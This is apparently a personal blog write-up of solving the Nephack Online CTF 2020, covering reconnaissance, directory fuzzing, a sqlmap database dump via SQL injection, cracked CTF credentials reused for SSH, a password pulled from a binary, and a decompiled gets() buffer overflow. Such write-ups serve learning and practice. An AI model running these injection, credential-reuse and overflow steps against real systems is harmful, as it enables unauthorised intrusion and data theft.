How I won Nephack Online CTF 2020
On Wednesday June 10 2020, I was lying on my bed and scrolling through my Twitter feed when this grabbed my attention 😱
I took a look at the prizes and the next moment I was on my system all set to hack😝
I went to https://nephack.io/ and was greeted with this… Ooooo
I had a checklist at the back of my mind and I started with it
dig -t txt nephack.io
It seems that the TXT record contains the string “FcnqFPuhFs0” which is a reference to an electronic music on youtube.
Next I tried applying strings on the Nephack logo given on the starting page of the CTF and some weird strings stood out that looked like some XMP data.
>> strings nephack_logo.png
IHDR
pHYs
iTXtXML:com.adobe.xmp
<?xpacket begin="
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmp:CreateDate="2020-01-20T21:55:52+05:45" xmp:ModifyDate="2020-01-20T22:29:39+05:45" xmp:MetadataDate="2020-01-20T22:29:39+05:45" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:2bb0bc8b-8772-bd41-aa5f-ca4c1be27b33" xmpMM:DocumentID="adobe:docid:photoshop:531c496c-ec9e-6e40-850e-e96ad2a84ca6" xmpMM:OriginalDocumentID="xmp.did:dcb8d4ac-b167-8540-b2d2-8f85cb760639"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="created" stEvt:instanceID="xmp.iid:dcb8d4ac-b167-8540-b2d2-8f85cb760639" stEvt:when="2020-01-20T21:55:52+05:45" stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:2bb0bc8b-8772-bd41-aa5f-ca4c1be27b33" stEvt:when="2020-01-20T22:29:39+05:45" stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
sIDATx
Then I started scouring over cynical technology blog to get some hints when I found this in one of their blog posts.
Here is a picture that will help you get started 🤨
I got a smell of steganography in there and decided to load the image up in stegosuite and found some embedded data.
String:VjFaV2ExWXlSa2hUYTJ4V1lsUnNUbGxzVWxkak1XdDNXa2M1YUZKdGREVlplazVYWVVaYU5scDZhejA9
I base64 decoded it using cyberchef and it turned out to be a base64 string again. It was then I wrote a small script to keep on base64 decode the string until it is no longer the same.
import base64
encoded = "VjFaV2ExWXlSa2hUYTJ4V1lsUnNUbGxzVWxkak1XdDNXa2M1YUZKdGREVlplazVYWVVaYU5scDZhejA9"while True:
try:
encoded = base64.b64decode(encoded)
except:
print("Decoded >> " + str(encoded,encoding='UTF-8'))
break
Seems like we found a new subdomain 🤓
Later after the CTF was over I was randomly fuzzing and found that the subdomain http://health.nephack.io/ could be discovered using popular subdomain scanners too. Now the subdomain hosted a health calculator tool 😯
We inspect the source code and find some juicy content that might serve as potential usernames later.😉
<!-- <li><a href="tos.php">TOS</a></li> -->
<!-- This application is made by @dr.jackal -->
This tool takes asks the user for sensitive details and then always redirects to http://health.nephack.io/result3.php which is a blank page seems like a decoy 🥺
I ran Burp Intruder on http://health.nephack.io/result$i$.php hoping to find an IDOR but there was none 😕
Even so the heart disease form had an IP address field so I ran SSRF payloads but seems like I had hit a dead end 😕
Finally I fired up dirbuster with the medium-directory list on the CTF announcement page and went to sleep 😴 . In the morning I had some interesting results:
>> http://health.nephack.io/system-management/admin
>> http://health.nephack.io/system-management/admin/prdetail.php
The /admin page had a login form:
Since I did not have any valid credentials after trying some weak username-password combination I decided to let it go.
The /admin/prdetail.php endpoint was a rather blank page with some functionalities but all of them were redirecting to logout 😟
Source code inspection revealed:
<!-- ?uid=20K+ -->
And then it occured to me that the php page needed a paramter uid maybe 🙄
I fired up Burp Intruder in order to bruteforce the uid parameter and found that the content length was higher than usual for uid = 31337
Still I had nothing solid in hand I captured the get request and ran sqlmap on the uid parameter and there was SQL injection ☺️
I dumped the entire database and found two rather interesting entries.
>> sqlmap -r req.txt --tablesDatabase: heart
[10 tables]
+------------------------------------------------------+
| admin |
| result |
| table 9 |
| calc |
| calc_value |
| predication |
| products |
| res |
| sales_stats |
| users |
+------------------------------------------------------+Database: heart_admin
[2 tables]
+------------------------------------------------------+
| admin |
| users |
+------------------------------------------------------+
TL;DR after some enumeration and hash cracking I found some user:pass combinations. 😇
naresh@nephack.ctf : nare
admin : Test@123
nare@nephack.ctf : shaktiman
rahul@nephack.ctf : spiderman
I tried all of them at the /admin endpoint but none worked. A dead end again 😩
Then I realised that I had forgotten one basic thing nmap 😓 A full Nmap scan revealed the open ports and the services running on them.
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
443/tcp open https
2020/tcp open xinupageserver syn-ack ---> <<interesting>>
I tried the same set of credentials again to ssh into the server and failed but this time I remembered the comment that we had found on the calcualtor source code 😄
<!-- This application is made by @dr.jackal -->
I tried jackal:shaktiman as ssh creds and VIOLA we’re in … 😍
In the home folder of user jackal we find a binary file forgot. After tinkering with it for a while I found this
jackal@nephack:~$ ls
forgot
jackal@nephack:~$ file forgot
forgot: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=225918d09e0e9d236df375328e80d2caf64508fa, for GNU/Linux 3.2.0, not stripped
jackal@nephack:~$ id
uid=1001(jackal) gid=1001(jackal) groups=1001(jackal)
jackal@nephack:~$ ./forgot
Usage: password!!
jackal@nephack:~$ ./forgot abcd
Hello i am Saman and I normally forget my password. So in order to check my password rather than spamming sudo, I made this tool!!
Please enter the password: abcd
I need to try again :(!
Seems like if I can reverse engineer the binary I will be able to get user saman creds :)
I ran strings on the binary and found a rather odd looking string that turned out to be user saman credentials 😄
jackal@nephack:~$ strings forgot
/lib64/ld-linux-x86-64.so.2
libc.so.6
puts
printf
__cxa_finalize
strcmp
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
[]A\A]A^A_
Hello i am Saman and I normally forget my password. So in order to check my password rather than spamming sudo, I made this tool!!
Please enter the password: %s
ByhA3tckK4PjqVvQ
YAYYYYYYYYYY! I finally remember it!!!
I need to try again :(!
Usage: password!!
;*3$"
So I switched to user saman and in his home directory I found a note and another executable file most probably similar to the one listening at port 2020.
saman@nephack:~$ cat note.txt
Hi, 2020 has not been that great for me :(
I have been attacked many times so i have hid something at port 2020 :)
I love “net”Working and “cat”
┌─[root@kali]─[~]
└──╼ #nc 68.183.95.149 2020
Enter password: abcd
Password didn’t match
Unfortunately the binary did not have executable permissions on the server so I transferred the file to my local machine using netcat and then started debugging it. I used Ghidra to decompile the main function.
undefined8 main(void){
int iVar1;
undefined8 local_27;
undefined4 local_1f;
undefined local_1b;
undefined8 local_1a;
undefined4 local_12;
undefined local_e;
undefined4 local_d;
undefined local_9;
local_d = 0x646e6172;
local_9 = 0;
local_1a = 0x7373617074736574; --> "testpassword"
local_12 = 0x64726f77;
local_e = 0;
local_27 = 0x6c6f686563616c70; --> "hhhh"
local_1f = 0x31726564;
local_1b = 0;
printf("Enter password: ");
fflush(stdout);
gets((char *)&local_27); ---> Buffer Overflow detected
if ((char)local_d != 'r') {
puts("Buffer overflow detected!");
fflush(stdout);
/* WARNING: Subroutine does not return */
exit(-1);
}
iVar1 = strcmp((char *)&local_1a,(char *)&local_27);
if (iVar1 == 0) {
puts("testFlag{good_try}");
}
else {
puts("Password didn\'t match");
}
fflush(stdout);
return 0;
}
So we have control over local_27 and also over local_1a thanks to buffer overflow. So we can modify the value of local_1a and set it equal to local_27.
I have solved pwn challenges before but this was a tricky one for me since there were variables in between the two strings and also some stack alignment was needed. Nevertheless I was able to script a working exploit for it 🙂
Flag:cynical_flag{e3N1Ym1pdF95b3VyX2ZsYWdfdG9faW5mb0BjeW5pY2FsdGVjaG5vbG9neS5jb219}
Exploit script: here
But again I didn’t know where to submit this flag. Out of sheer curiosity I decided to try and decode the ciphertext inside using CyberChef.
Turns out the cipher text is base64 encoded version of info@cynicaltechnology.com 😍
And the rest is yet to be history … 😂
A quick Mind Map
— — — — — — — —
My take from the CTF
— — — — — — — — — —
TBH I have never played a Capture The Flag contest like this one before and thanks to Nephack I got introduced to this awesome style of CTF events.The privilege escalation part involving Binary exploitation was really awesome. Although the directory discovery part that involved a lot of fuzzing was tiresome and frustating but it give me a quite a few Eureka moments when I was finally able to find out the correct endpoint.Overall I loved the event and as a matter of personal opinion it was far better than jeopardy styled CTF’s .I am looking forward to the next edition of the CTF next year.
Until then…
‣‣‣You just read fr0stb1te. Hope you enjoyed it…